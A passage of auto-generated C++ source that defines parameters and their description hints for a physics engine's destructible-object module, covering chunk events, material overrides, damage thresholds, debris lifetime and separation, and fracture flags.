static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If true, static chunks will be renderered separately from dynamic chunks, as a single mesh (not using skinning).\nThis parameter is ignored if the \'dynamic\' parameter is true.\nDefault value = false.\n", true);
HintTable[1].init("shortDescription", "Whether or not to render static chunks in a separate mesh", true);
ParamDefTable[13].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=14, longName="createChunkEvents"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[14];
ParamDef->init("createChunkEvents", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Whether or not to create an event buffer for chunk.\nIf true, the user has access to a chunk event buffer, which currently holds visibility state change events.\nThe user must empty this buffer themselves after reading, otherwise it will continue to grow as new events are added.\nDefault value = false.\n", true);
HintTable[1].init("shortDescription", "Whether or not to create an event buffer for chunks", true);
ParamDefTable[14].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=15, longName="overrideSkinnedMaterialNames"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[15];
ParamDef->init("overrideSkinnedMaterialNames", TYPE_ARRAY, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Per-actor material names, to override those in the asset, for skinned rendering.", true);
HintTable[1].init("shortDescription", "Per-actor material names, to override those in the asset, for skinned rendering", true);
ParamDefTable[15].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
ParamDef->setArraySize(-1);
static const uint8_t dynHandleIndices[1] = { 0, };
ParamDef->setDynamicHandleIndicesMap(dynHandleIndices, 1);
}
// Initialize DefinitionImpl node: nodeIndex=16, longName="overrideSkinnedMaterialNames[]"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[16];
ParamDef->init("overrideSkinnedMaterialNames", TYPE_STRING, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Per-actor material names, to override those in the asset, for skinned rendering.", true);
HintTable[1].init("shortDescription", "Per-actor material names, to override those in the asset, for skinned rendering", true);
ParamDefTable[16].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=17, longName="overrideStaticMaterialNames"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[17];
ParamDef->init("overrideStaticMaterialNames", TYPE_ARRAY, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Per-actor material names, to override those in the asset, for static rendering.", true);
HintTable[1].init("shortDescription", "Per-actor material names, to override those in the asset, for static rendering", true);
ParamDefTable[17].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
ParamDef->setArraySize(-1);
static const uint8_t dynHandleIndices[1] = { 0, };
ParamDef->setDynamicHandleIndicesMap(dynHandleIndices, 1);
}
// Initialize DefinitionImpl node: nodeIndex=18, longName="overrideStaticMaterialNames[]"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[18];
ParamDef->init("overrideStaticMaterialNames", TYPE_STRING, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Per-actor material names, to override those in the asset, for static rendering.", true);
HintTable[1].init("shortDescription", "Per-actor material names, to override those in the asset, for static rendering", true);
ParamDefTable[18].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=19, longName="sleepVelocityFrameDecayConstant"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[19];
ParamDef->init("sleepVelocityFrameDecayConstant", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Frame memory decay constant used for actor velocity smoothing. Valid range: [1.0,infinity). Roughly speaking,\n the number of frames for which past velocities have significance. A value of 1.0 (or less) gives no smoothing.", true);
HintTable[1].init("shortDescription", "Frame memory decay constant used for actor velocity smoothing. Valid range: [1.0,infinity).", true);
ParamDefTable[19].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=20, longName="useHardSleeping"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[20];
ParamDef->init("useHardSleeping", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If true, turn chunk islands kinematic when they sleep. These islands may be turned dynamic again if enough damage is applied.", true);
HintTable[1].init("shortDescription", "If true, turn chunk islands kinematic when they sleep.", true);
ParamDefTable[20].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=21, longName="destructibleParameters"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[21];
ParamDef->init("destructibleParameters", TYPE_STRUCT, "DestructibleParameters", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Parameters controlling the destruction properties - damage thresholds, damage radius multipliers, etc.\n", true);
HintTable[1].init("shortDescription", "Parameters controlling the destruction properties - damage thresholds, damage radius multipliers, etc.", true);
ParamDefTable[21].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=22, longName="destructibleParameters.damageCap"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[22];
ParamDef->init("damageCap", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Limits the amount of damage applied to a chunk. This is useful for preventing the entire destructible\nfrom getting pulverized by a very large application of damage. This can easily happen when impact damage is\nused, and the damage amount is proportional to the impact force (see forceToDamage).\n", true);
HintTable[1].init("shortDescription", "Limits the amount of damage applied to a chunk.", true);
ParamDefTable[22].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=23, longName="destructibleParameters.forceToDamage"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[23];
ParamDef->init("forceToDamage", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If a chunk is at a depth which takes impact damage (see NxDestructibleDepthParameters),\nthen when a chunk has a collision in the NxScene, it will take damage equal to forceToDamage mulitplied by\nthe impact force.\nThe default value is zero, which effectively disables impact damage.\n", true);
HintTable[1].init("shortDescription", "Multiplier to calculate applied damage from an impact.", true);
ParamDefTable[23].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=24, longName="destructibleParameters.impactVelocityThreshold"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[24];
ParamDef->init("impactVelocityThreshold", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Large impact force may be reported if rigid bodies are spawned inside one another. In this case the relative velocity of the two\nobjects will be low. This variable allows the user to set a minimum velocity threshold for impacts to ensure that the objects are\nmoving at a min velocity in order for the impact force to be considered.\n", true);
HintTable[1].init("shortDescription", "Large impact force may be reported if rigid bodies are spawned inside one another.", true);
ParamDefTable[24].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=25, longName="destructibleParameters.minimumFractureDepth"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[25];
ParamDef->init("minimumFractureDepth", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Chunks will not be broken free below this depth.\n", true);
HintTable[1].init("shortDescription", "The chunks will not be broken free below this depth.", true);
ParamDefTable[25].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=26, longName="destructibleParameters.impactDamageDefaultDepth"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[26];
ParamDef->init("impactDamageDefaultDepth", TYPE_I32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The default depth to which chunks will take impact damage. This default may be overridden in the depth settings.\n", true);
HintTable[1].init("shortDescription", "The default depth to which chunks will take impact damage.", true);
ParamDefTable[26].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=27, longName="destructibleParameters.debrisDepth"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[27];
ParamDef->init("debrisDepth", TYPE_I32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The chunk hierarchy depth at which chunks are considered to be 'debris.' Chunks at this depth or\nbelow will be considered for various debris settings, such as debrisLifetime.\nNegative values indicate that no chunk depth is considered debris.\nDefault value is -1.\n", true);
HintTable[1].init("shortDescription", "The chunk hierarchy depth at which chunks are considered to be 'debris.'", true);
ParamDefTable[27].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=28, longName="destructibleParameters.essentialDepth"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[28];
ParamDef->init("essentialDepth", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The chunk hierarchy depth up to which chunks will always be processed. These chunks are considered\nto be essential either for gameplay or visually.\nThe minimum value is 0, meaning the level 0 chunk is always considered essential.\nDefault value is 0.\n", true);
HintTable[1].init("shortDescription", "The chunk hierarchy depth up to which chunks will always be processed", true);
ParamDefTable[28].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=29, longName="destructibleParameters.debrisLifetimeMin"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[29];
ParamDef->init("debrisLifetimeMin", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "'Debris chunks' (see debrisDepth, above) will be destroyed after a time (in seconds)\nseparated from non-debris chunks. The actual lifetime is interpolated between\ndebrisLifetimeMin and debrisLifetimeMax (see below), based upon the module\'s LOD setting.\nTo disable lifetime, clear the NxDestructibleDepthParametersFlag::DEBRIS_TIMEOUT\nflag in the flags field. If debrisLifetimeMax < debrisLifetimeMin, the mean of the two\nis used for both.\nDefault debrisLifetimeMin = 1.0, debrisLifetimeMax = 10.0f.\n", true);
HintTable[1].init("shortDescription", "Minimum time to destroy debris", true);
ParamDefTable[29].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=30, longName="destructibleParameters.debrisLifetimeMax"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[30];
ParamDef->init("debrisLifetimeMax", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "'Debris chunks' (see debrisDepth, above) will be destroyed after a time (in seconds)\nseparated from non-debris chunks. The actual lifetime is interpolated between\ndebrisLifetimeMin (see above) and debrisLifetimeMax, based upon the module\'s LOD setting.\nTo disable lifetime, clear the NxDestructibleDepthParametersFlag::DEBRIS_TIMEOUT\nflag in the flags field. If debrisLifetimeMax < debrisLifetimeMin, the mean of the two\nis used for both.\nDefault debrisLifetimeMin = 1.0, debrisLifetimeMax = 10.0f.\n", true);
HintTable[1].init("shortDescription", "Maximum time to destroy debris", true);
ParamDefTable[30].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=31, longName="destructibleParameters.debrisMaxSeparationMin"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[31];
ParamDef->init("debrisMaxSeparationMin", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "'Debris chunks' (see debrisDepth, above) will be destroyed if they are separated from\ntheir origin by a distance greater than maxSeparation. The actual maxSeparation is\ninterpolated between debrisMaxSeparationMin and debrisMaxSeparationMax (see below),\nbased upon the module\'s LOD setting. To disable maxSeparation, clear the\nNX_DESTRUCTIBLE_DEBRIS_MAX_SEPARATION flag in the flags field.\nIf debrisMaxSeparationMax < debrisMaxSeparationMin, the mean of the two is used for both.\nDefault debrisMaxSeparationMin = 1.0, debrisMaxSeparationMax = 10.0f.\n", true);
HintTable[1].init("shortDescription", "Minimum separation distance", true);
ParamDefTable[31].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=32, longName="destructibleParameters.debrisMaxSeparationMax"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[32];
ParamDef->init("debrisMaxSeparationMax", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "'Debris chunks' (see debrisDepth, above) will be destroyed if they are separated from\ntheir origin by a distance greater than maxSeparation. The actual maxSeparation is\ninterpolated between debrisMaxSeparationMin (see above) and debrisMaxSeparationMax,\nbased upon the module\'s LOD setting. To disable maxSeparation, clear the\nNX_DESTRUCTIBLE_DEBRIS_MAX_SEPARATION flag in the flags field.\nIf debrisMaxSeparationMax < debrisMaxSeparationMin, the mean of the two is used for both.\nDefault debrisMaxSeparationMin = 1.0, debrisMaxSeparationMax = 10.0f.\n", true);
HintTable[1].init("shortDescription", "Minimum separation distance", true);
ParamDefTable[32].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=33, longName="destructibleParameters.debrisDestructionProbability"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[33];
ParamDef->init("debrisDestructionProbability", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The probablity that a debris chunk, when fractured, will simply be destroyed instead of becoming dynamic or breaking down\n further into child chunks. Valid range = [0.0,1.0]. Default value = 0.0.", true);
HintTable[1].init("shortDescription", "The probablity that a debris chunk, when fractured, will simply be destroyed", true);
ParamDefTable[33].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=34, longName="destructibleParameters.validBounds"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[34];
ParamDef->init("validBounds", TYPE_BOUNDS3, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "A bounding box around each NxDestructibleActor created, defining a range of validity\nfor chunks that break free. These bounds are scaled and translated with the\nNxDestructibleActor\'s scale and position, but they are not rotated with the\nNxDestructibleActor.\n", true);
HintTable[1].init("shortDescription", "valid bounding region for debris", true);
ParamDefTable[34].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=35, longName="destructibleParameters.maxChunkSpeed"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[35];
ParamDef->init("maxChunkSpeed", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If greater than 0, the chunks' speeds will not be allowed to exceed this value. Use 0\nto disable this feature (this is the default).\n", true);
HintTable[1].init("shortDescription", "Maximum speed of a chunk", true);
ParamDefTable[35].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=36, longName="destructibleParameters.flags"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[36];
ParamDef->init("flags", TYPE_STRUCT, "DestructibleParametersFlag", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "A collection of flags defined in NxDestructibleParametersFlag.\n", true);
HintTable[1].init("shortDescription", "A collection of flags defined in DestructibleParametersFlag.", true);
ParamDefTable[36].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=37, longName="destructibleParameters.flags.ACCUMULATE_DAMAGE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[37];
ParamDef->init("ACCUMULATE_DAMAGE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If set, chunks will 'remember' damage applied to them, so that many applications of a damage amount\nbelow damageThreshold will eventually fracture the chunk. If not set, a single application of\ndamage must exceed damageThreshold in order to fracture the chunk.\n", true);
HintTable[1].init("shortDescription", "Determines if chunks accumulate damage", true);
ParamDefTable[37].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=38, longName="destructibleParameters.flags.DEBRIS_TIMEOUT"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[38];
ParamDef->init("DEBRIS_TIMEOUT", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Whether or not chunks at or deeper than the 'debris' depth (see NxDestructibleParameters::debrisDepth)\nwill time out. The lifetime is a value between NxDestructibleParameters::debrisLifetimeMin and\nNxDestructibleParameters::debrisLifetimeMax, based upon the destructible module\'s LOD setting.\n", true);
HintTable[1].init("shortDescription", "Whether or not chunks at or deeper than the 'debris' depth will timeout", true);
ParamDefTable[38].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=39, longName="destructibleParameters.flags.DEBRIS_MAX_SEPARATION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[39];
ParamDef->init("DEBRIS_MAX_SEPARATION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Whether or not chunks at or deeper than the 'debris' depth (see NxDestructibleParameters::debrisDepth)\nwill be removed if they separate too far from their origins. The maxSeparation is a value between\nNxDestructibleParameters::debrisMaxSeparationMin and NxDestructibleParameters::debrisMaxSeparationMax,\nbased upon the destructible module\'s LOD setting.\n", true);
HintTable[1].init("shortDescription", "Whether or not chunks at or deeper than the 'debris' depth will be removed if separated too far", true);
ParamDefTable[39].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=40, longName="destructibleParameters.flags.CRUMBLE_SMALLEST_CHUNKS"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[40];
ParamDef->init("CRUMBLE_SMALLEST_CHUNKS", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If set, the smallest chunks may be further broken down, either by fluid crumbles (if a crumble particle\nsystem is specified in the NxDestructibleActorDesc), or by simply removing the chunk if no crumble\nparticle system is specified. Note: the 'smallest chunks' are normally defined to be the deepest level\nof the fracture hierarchy. However, they may be taken from higher levels of the hierarchy if\nNxModuleDestructible::setMaxChunkDepthOffset is called with a non-zero value.\n", true);
HintTable[1].init("shortDescription", "If set, the smallest chunks may be further broken down", true);
ParamDefTable[40].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=41, longName="destructibleParameters.flags.ACCURATE_RAYCASTS"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[41];
ParamDef->init("ACCURATE_RAYCASTS", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If set, the NxDestructibleActor::rayCast function will search within the nearest visible chunk hit\nfor collisions with child chunks. This is used to get a better raycast position and normal, in\ncase the parent collision volume does not tightly fit the graphics mesh. The returned chunk index\nwill always be that of the visible parent that is intersected, however.\n", true);
HintTable[1].init("shortDescription", "If set, the NxDestructibleActor::rayCast function will search within the nearest visible chunk hit", true);
ParamDefTable[41].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=42, longName="destructibleParameters.flags.USE_VALID_BOUNDS"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[42];
ParamDef->init("USE_VALID_BOUNDS", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If set, the validBounds field of NxDestructibleParameters will be used. These bounds are translated\n(but not scaled or rotated) to the origin of the destructible actor. If a chunk or chunk island moves\noutside of those bounds, it is destroyed.\n", true);
HintTable[1].init("shortDescription", "If set, the validBounds field of NxDestructibleParameters will be used.", true);
ParamDefTable[42].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=43, longName="destructibleParameters.flags.CRUMBLE_VIA_RUNTIME_FRACTURE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[43];
ParamDef->init("CRUMBLE_VIA_RUNTIME_FRACTURE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "If set, crumbled chunks will use the runtime fracture pipeline. The chunk will be procedurally broken\ndestroyed using either the default or a specified fracture pattern.\n", true);
HintTable[1].init("shortDescription", "If set, crumbled chunks will use the runtime fracture pipeline.", true);
ParamDefTable[43].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=44, longName="destructibleParameters.fractureImpulseScale"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[44];
ParamDef->init("fractureImpulseScale", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Scale factor used to apply an impulse force along the normal of chunk when fractured. This is used\nin order to 'push' the pieces out as they fracture.\n", true);
HintTable[1].init("shortDescription", "Scale factor used to apply an impulse force along the normal of chunk when fractured.", true);
ParamDefTable[44].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=45, longName="destructibleParameters.damageDepthLimit"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[45];
ParamDef->init("damageDepthLimit", TYPE_U16, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "How deep in the hierarchy damage will be propagated, relative to the chunk hit.", true);
HintTable[1].init("shortDescription", "How deep in the hierarchy damage will be propagated, relative to the chunk hit.", true);
ParamDefTable[45].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=46, longName="destructibleParameters.dynamicChunkDominanceGroup"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[46];
ParamDef->init("dynamicChunkDominanceGroup", TYPE_U16, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Optional dominance group for dynamic chunks created when fractured. (ignored if > 31)\n", true);
HintTable[1].init("shortDescription", "Optional dominance group for dynamic chunks created when fractured.", true);
ParamDefTable[46].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=47, longName="destructibleParameters.dynamicChunksGroupsMask"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[47];
ParamDef->init("dynamicChunksGroupsMask", TYPE_STRUCT, "GroupsMask", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Optional groups mask for dynamic chunks created when fractured.\n", true);
HintTable[1].init("shortDescription", "Optional groups mask for dynamic chunks created when fractured.", true);
ParamDefTable[47].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
